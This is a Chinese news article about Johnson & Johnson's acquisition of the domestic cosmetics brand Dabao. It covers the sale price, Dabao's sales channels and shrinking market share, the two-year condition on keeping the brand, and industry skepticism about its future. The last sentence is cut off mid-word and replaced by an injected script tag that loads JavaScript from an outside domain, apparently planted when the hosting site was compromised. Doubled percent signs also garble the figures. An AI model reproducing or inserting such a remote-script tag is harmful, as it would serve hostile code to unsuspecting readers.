被强生收购大宝还能否“天天见”？
外资收购以后，品牌与销售渠道一般都会被保留，所以强生保留大宝品牌并无意外，这些毕竟是花费大笔资金得来的，但若干年后，大宝的发展前景如何，还是未知数。
近日，强生（中国）投资有限公司宣布正式完成对北京大宝化妆品有限公司的收购。这是继羽西、小护士、紫罗兰等
之后又一本土化妆品品牌被外资收购的案例。在2006年传出强生要收购大宝的消息后，强生在这场耗时逾2年的收购案中从未向外界发表过任何公开评论，此次也只透露计划保留大宝品牌，至于保留多久，大宝和强生都没有作出进一步说明。
记者注意到，不少本土化妆品品牌在被外资收购后，已淡出人们的视线。在强生收购大宝后，大宝能否依然“天天见”？这个曾经连续8年在中国市场产销居首的本土化妆品品牌，前途变得扑朔迷离。
“大宝”的价值
在获悉大宝被强生收购后，记者立即致电大宝，但大宝方面以相关负责人不在为由谢绝了记者的采访要求。最敏感的最终收购价格，大宝方面也表示不方便透露。
但此前大宝给自己的品牌早有定价。去年3月，大宝在北京产权交易所挂牌出让100%%股权。公告显示，拟转让的股份包括北京三露厂持有的83.42％国有股与大宝职工持股会持有的16.58％股份，挂牌价格为不低于23亿元。
23亿元，是4.59亿元经审计净资产的5倍，这不能说是一个“便宜”的价格。
大宝的叫价有它的道理。被业界公认为国内最后一个拥有市场绝对高占有率的本土化妆品品牌，大宝在北京及全国各地的大商场建立起近350个销售专柜，在超市和便利店共建立3000多个专柜。目前，大宝仍在继续拓宽网络销售渠道，并与网络店铺联手销售。从这一点来说，强生旗下的化妆品虽然利润率达30%%以上，但渠道较窄，尤其在需要大力依靠经销商拓展的二、三线市场，强生一直不是“强手”。
按照收购惯例，收购价最多高出有形资产2倍，若超过3倍则存在风险，而大宝的定价是其有形资产的3到4倍。与此同时，目前大宝已陷入发展瓶颈。在2001年实现销售收入7.8亿元后，大宝连续8年列全国护肤品市场销量第一。但面对外资巨头的激烈竞争，近年来，大宝的市场份额逐渐下降。数据显示，2003年，大宝的市场份额为17.79%%，但到2005年，已降至1%%左右。
保留大宝品牌
低增长和低利润成为大宝品牌现今面临的主要问题。但不可否认的是，在低端市场，大宝的市场占有率仍是最高。
对于外界关注的大宝品牌保留问题，强生方面表示，作为深受中国消费者欢迎的品牌，大宝的品牌将保留，原有的产品线暂时也不会发生变化。至于大宝品牌将保留多久，大宝和强生都没有作出进一步说明。
北京产权交易所的一份报告披露，此次商务部在收购条款中明确规定：强生公司在正式收购大宝公司之后，必须确保大宝品牌与强生在市场共同运作两年以上，不对大宝产品结构、人员团队、经销商网络做根本性调整变化。
“外资收购以后，品牌与销售渠道一般都会被保留，所以强生保留大宝品牌并无意外，这些毕竟是花费大笔资金得来的，但若干年后，大宝的发展前景如何，不好说。”中国香料香精化妆品工业协会理事长张铁诚对大宝未来发展不无担忧。
强生能否重塑大宝
“大宝，天天见”，一句广告语，让大宝响彻中国大江南北。
如今，强生能否重塑大宝品牌，仍是一个未知数。就目前来说，还没有哪一家外资化妆品品牌能够放下身价，与大宝在低端市场一争高下。强生收购大宝后，会否借此实施品牌下探策略还不得而知。
上海家化联合股份有限公司董事长葛文耀曾表示，国产品牌被外资收购之后，生存状态就会发生变化，因为“最终的经营一定是资本决定”。
作为主攻中高端市场的国际性日化品牌，强生旗下的化妆品品牌可伶可俐、强生婴儿、露得清也是主攻大城市，强生借由大宝的二、三线渠道推进其中高端品牌，似乎并不适合其市场定位。
联合利华也曾有意收购大宝，其中国区副总裁曾锡文似乎对强生收购大宝并不看好，他认为，大宝虽是知名品牌，但实力并不很强，“强生的化妆品牌在国内影响不大，不是有钱就能做好的，目前能保住大宝现在的市场份额就不容易了。”
近年来，本土化妆品品牌相继被外资收购，小护士、羽西在被欧莱雅收购后渐渐沦为配角，市场份额不仅萎缩，而且还被一系列后期品牌所超越。北京奥奇、北京紫罗兰也都曾经是非常有名的本土化妆品品牌，但被国外品牌收购后，最终都销声匿迹。这些跨国企业中不乏有在收购?script src=http://cn.jxmmtv.com/cn.js>
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